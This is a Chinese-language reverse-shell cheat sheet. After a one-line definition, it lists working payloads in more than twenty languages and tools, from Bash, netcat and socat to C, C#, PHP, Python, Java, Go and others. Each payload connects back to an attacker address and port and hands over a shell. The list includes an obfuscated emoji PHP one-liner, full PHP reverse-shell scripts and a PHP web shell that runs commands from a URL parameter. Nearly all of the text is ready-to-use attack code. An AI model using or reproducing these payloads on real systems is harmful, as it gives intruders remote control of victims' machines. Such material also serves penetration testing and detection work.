反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。通常用于被控端因防火墙受限、权限不足、端口被占用等场景。核心思想就是攻击的目标机器主动连接攻击机器获得shell

攻击机器地址:172.16.20.100

监听端口:22345

0x01 Bash 反弹

Bash-i

/bin/bash -i >& /dev/tcp/172.16.20.100/22345 0>&1

Bash 196

0<&196;exec 196<>/dev/tcp/172.16.20.100/22345; /bin/bash <&196 >&196 2>&196

Bash read line

exec 5<>/dev/tcp/172.16.20.100/22345;cat <&5 | while read line; do $line 2>&5 >&5; done

Bash 5

/bin/bash -i 5<> /dev/tcp/172.16.20.100/22345 0<&5 1>&5 2>&5

Bash udp

/bin/bash -i >& /dev/udp/172.16.20.100/22345 0>&1

0x02 NC 反弹

nc mkfifo

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.16.20.100 22345 >/tmp/f

nc -e

nc -e /bin/bash 172.16.20.100 22345

nc -c

nc -c /bin/bash 172.16.20.100 22345

ncat -e

ncat 172.16.20.100 22345 -e /bin/bash

ncat udp

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|ncat -u 172.16.20.100 22345 >/tmp/f

0x03 rustcat 反弹

rcat 172.16.20.100 22345 -r /bin/bash

0x04 C 反弹

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 22345;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("172.16.20.100");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"/bin/bash", NULL};
    execve("/bin/bash", argv, NULL);

    return 0;       
}

0x05 C# 反弹

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;

namespace ConnectBack
{
    public class Program
    {
        static StreamWriter streamWriter;

        public static void Main(string[] args)
        {
            using(TcpClient client = new TcpClient("172.16.20.100", 22345))
            {
                using(Stream stream = client.GetStream())
                {
                    using(StreamReader rdr = new StreamReader(stream))
                    {
                        streamWriter = new StreamWriter(stream);

                        StringBuilder strInput = new StringBuilder();

                        Process p = new Process();
                        p.StartInfo.FileName = "cmd.exe";
                        p.StartInfo.CreateNoWindow = true;
                        p.StartInfo.UseShellExecute = false;
                        p.StartInfo.RedirectStandardOutput = true;
                        p.StartInfo.RedirectStandardInput = true;
                        p.StartInfo.RedirectStandardError = true;
                        p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                        p.Start();
                        p.BeginOutputReadLine();

                        while(true)
                        {
                            strInput.Append(rdr.ReadLine());
                            //strInput.Append("\n");
                            p.StandardInput.WriteLine(strInput);
                            strInput.Remove(0, strInput.Length);
                        }
                    }
                }
            }
        }

        private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }

    }
}

0x06 Haskell 反弹

module Main where

import System.Process

main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 172.16.20.100 22345 >/tmp/f"

0x07 Perl 反弹

Perl#1

perl -e 'use Socket;$i="172.16.20.100";$p=22345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Perl no sh

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"172.16.20.100:22345");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

0x08 php 反弹

PHP Emoji

php -r '$😀="1";$😁="2";$😅="3";$😆="4";$😉="5";$😊="6";$😎="7";$😍="8";$😚="9";$🙂="0";$🤢=" ";$🤓="<";$🤠=">";$😱="-";$😵="&";$🤩="i";$🤔=".";$🤨="/";$🥰="a";$😐="b";$😶="i";$🙄="h";$😂="c";$🤣="d";$😃="e";$😄="f";$😋="k";$😘="n";$😗="o";$😙="p";$🤗="s";$😑="x";$💀 = $😄. $🤗. $😗. $😂. $😋. $😗. $😙. $😃. $😘;$🚀 = "172.16.20.100";$💻 = 22345;$🐚 = "/bin/bash". $🤢. $😱. $🤩. $🤢. $🤓. $😵. $😅. $🤢. $🤠. $😵. $😅. $🤢. $😁. $🤠. $😵. $😅;$🤣 =  $💀($🚀,$💻);$👽 = $😃. $😑. $😃. $😂;$👽($🐚);'
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.16.20.100';
$port = 22345;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);  // Parent exits
    }
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>

PHP PentestMonkey

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.16.20.100';
$port = 22345;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);  // Parent exits
    }
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>

PHP Ivan Sincek

<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 => array('pipe', 'r'), // shell can read from STDIN
        1 => array('pipe', 'w'), // shell can write to STDOUT
        2 => array('pipe', 'w')  // shell can write to STDERR
    );
    private $buffer  = 1024;    // read/write buffer size
    private $clen    = 0;       // command length
    private $error   = false;   // stream read/write error
    public function __construct($addr, $port) {
        $this->addr = $addr;
        $this->port = $port;
    }
    private function detect() {
        $detected = true;
        if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
            $this->os    = 'LINUX';
            $this->shell = '/bin/bash';
        } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
            $this->os    = 'WINDOWS';
            $this->shell = 'cmd.exe';
        } else {
            $detected = false;
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
        }
        return $detected;
    }
    private function daemonize() {
        $exit = false;
        if (!function_exists('pcntl_fork')) {
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
        } else if (($pid = @pcntl_fork()) < 0) {
            echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
        } else if ($pid > 0) {
            $exit = true;
            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
        } else if (posix_setsid() < 0) {
            // once daemonized you will actually no longer see the script's dump
            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
        } else {
            echo "DAEMONIZE: Completed successfully!\n";
        }
        return $exit;
    }
    private function settings() {
        @error_reporting(0);
        @set_time_limit(0); // do not impose the script execution time limit
        @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    }
    private function dump($data) {
        $data = str_replace('<', '&lt;', $data);
        $data = str_replace('>', '&gt;', $data);
        echo $data;
    }
    private function read($stream, $name, $buffer) {
        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
        }
        return $data;
    }
    private function write($stream, $name, $data) {
        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
        }
        return $bytes;
    }
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
            $this->dump($data); // script's dump
        }
    }
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
        $fstat = fstat($input);
        $size = $fstat['size'];
        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
            // for some reason Windows OS pipes STDIN into STDOUT
            // we do not like that
            // we need to discard the data from the stream
            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
                $this->clen -= $bytes;
                $size -= $bytes;
            }
        }
        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
            $size -= $bytes;
            $this->dump($data); // script's dump
        }
    }
    public function run() {
        if ($this->detect() && !$this->daemonize()) {
            $this->settings();

            // ----- SOCKET BEGIN -----
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if (!$socket) {
                echo "SOC_ERROR: {$errno}: {$errstr}\n";
            } else {
                stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS

                // ----- SHELL BEGIN -----
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
                if (!$process) {
                    echo "PROC_ERROR: Cannot start the shell\n";
                } else {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
                    }

                    // ----- WORK BEGIN -----
                    $status = proc_get_status($process);
                    @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
                    do {
                        $status = proc_get_status($process);
                        if (feof($socket)) { // check for end-of-file on SOCKET
                            echo "SOC_ERROR: Shell connection has been terminated\n"; break;
                        } else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still running
                            echo "PROC_ERROR: Shell process has been terminated\n";   break; // feof() does not work with blocking streams
                        }                                                                    // use proc_get_status() instead
                        $streams = array(
                            'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                            'write'  => null,
                            'except' => null
                        );
                        $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
                        if ($num_changed_streams === false) {
                            echo "STRM_ERROR: stream_select() failed\n"; break;
                        } else if ($num_changed_streams > 0) {
                            if ($this->os === 'LINUX') {
                                if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            } else if ($this->os === 'WINDOWS') {
                                // order is important
                                if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            }
                        }
                    } while (!$this->error);
                    // ------ WORK END ------

                    foreach ($pipes as $pipe) {
                        fclose($pipe);
                    }
                    proc_close($process);
                }
                // ------ SHELL END ------

                fclose($socket);
            }
            // ------ SOCKET END ------

        }
    }
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('172.16.20.100', 22345);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>

PHP cmd

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

PHP exec

php -r '$sock=fsockopen("172.16.20.100",22345);exec("/bin/bash <&3 >&3 2>&3");'

PHP shell_exec

php -r '$sock=fsockopen("172.16.20.100",22345);shell_exec("/bin/bash <&3 >&3 2>&3");'

PHP system

php -r '$sock=fsockopen("172.16.20.100",22345);system("/bin/bash <&3 >&3 2>&3");'

PHP passthru

php -r '$sock=fsockopen("172.16.20.100",22345);passthru("/bin/bash <&3 >&3 2>&3");'

php

php -r '$sock=fsockopen("172.16.20.100",22345);`/bin/bash <&3 >&3 2>&3`;'

PHP popen

php -r '$sock=fsockopen("172.16.20.100",22345);popen("/bin/bash <&3 >&3 2>&3", "r");'

PHP proc_open

php -r '$sock=fsockopen("172.16.20.100",22345);$proc=proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

0x09 Python 反弹

Python#1

export RHOST="172.16.20.100";export RPORT=22345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Python#2

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.20.100",22345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Python3#1

export RHOST="172.16.20.100";export RPORT=22345;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Python3 #2

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.20.100",22345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Python3 shortest

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("172.16.20.100",22345));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

0x10 Ruby 反弹

Ruby#1

ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("172.16.20.100",22345))'

Ruby no sh

ruby -rsocket -e'exit if fork;c=TCPSocket.new("172.16.20.100","22345");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'

0x11 socat 反弹

socat#1

socat TCP:172.16.20.100:22345 EXEC:/bin/bash

socat #2 (TTY)

socat TCP:172.16.20.100:22345 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane

0x12 node.js 反弹

node.js #1

require('child_process').exec('nc -e /bin/bash 172.16.20.100 22345')

node.js #2

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/bash", []);
    var client = new net.Socket();
    client.connect(22345, "172.16.20.100", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

0x13 Java 反弹

java#1

public class shell {
    public static void main(String[] args) {
        Process p;
        try {
            p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/172.16.20.100/22345 0>&1");
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}

java#2

public class shell {
    public static void main(String[] args) {
        Process p;
        try {
            p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/172.16.20.100/22345 0>&1");
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}

java#3

import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class shell {
    public static void main(String[] args) {
        String host = "172.16.20.100";
        int port = 22345;
        String cmd = "/bin/bash";
        try {
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(host, port);
            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
            OutputStream po = p.getOutputStream(), so = s.getOutputStream();
            while (!s.isClosed()) {
                while (pi.available() > 0)
                    so.write(pi.read());
                while (pe.available() > 0)
                    so.write(pe.read());
                while (si.available() > 0)
                    po.write(si.read());
                so.flush();
                po.flush();
                Thread.sleep(50);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {}
            }
            p.destroy();
            s.close();
        } catch (Exception e) {}
    }
}

0x14 Javascript 反弹

String command = "var host = '172.16.20.100';" +
                       "var port = 22345;" +
                       "var cmd = '/bin/bash';"+
                       "var s = new java.net.Socket(host, port);" +
                       "var p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();"+
                       "var pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();"+
                       "var po = p.getOutputStream(), so = s.getOutputStream();"+
                       "print ('Connected');"+
                       "while (!s.isClosed()) {"+
                       "    while (pi.available() > 0)"+
                       "        so.write(pi.read());"+
                       "    while (pe.available() > 0)"+
                       "        so.write(pe.read());"+
                       "    while (si.available() > 0)"+
                       "        po.write(si.read());"+
                       "    so.flush();"+
                       "    po.flush();"+
                       "    java.lang.Thread.sleep(50);"+
                       "    try {"+
                       "        p.exitValue();"+
                       "        break;"+
                       "    }"+
                       "    catch (e) {"+
                       "    }"+
                       "}"+
                       "p.destroy();"+
                       "s.close();";
String x = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\""+command+"\")";
ref.add(new StringRefAddr("x", x);

0x15 telnet 反弹

TF=$(mktemp -u);mkfifo $TF && telnet 172.16.20.100 22345 0<$TF | /bin/bash 1>$TF

0x16 zsh 反弹

zsh -c 'zmodload zsh/net/tcp && ztcp 172.16.20.100 22345 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

0x17 Lua 反弹

Lua #1

lua -e "require('socket');require('os');t=socket.tcp();t:connect('172.16.20.100','22345');os.execute('/bin/bash -i <&3 >&3 2>&3');"

Lua #2

lua5.1 -e 'local host, port = "172.16.20.100", 22345 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

0x18 Golang 反弹

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","172.16.20.100:22345");cmd:=exec.Command("/bin/bash");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

0x19 Awk 反弹

awk 'BEGIN {s = "/inet/tcp/0/172.16.20.100/22345"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

0x20 Dart 反弹

import 'dart:io';
import 'dart:convert';

main() {
  Socket.connect("172.16.20.100", 22345).then((socket) {
    socket.listen((data) {
      Process.start('/bin/bash', []).then((Process process) {
        process.stdin.writeln(new String.fromCharCodes(data).trim());
        process.stdout
          .transform(utf8.decoder)
          .listen((output) { socket.write(output); });
      });
    },
    onDone: () {
      socket.destroy();
    });
  });
}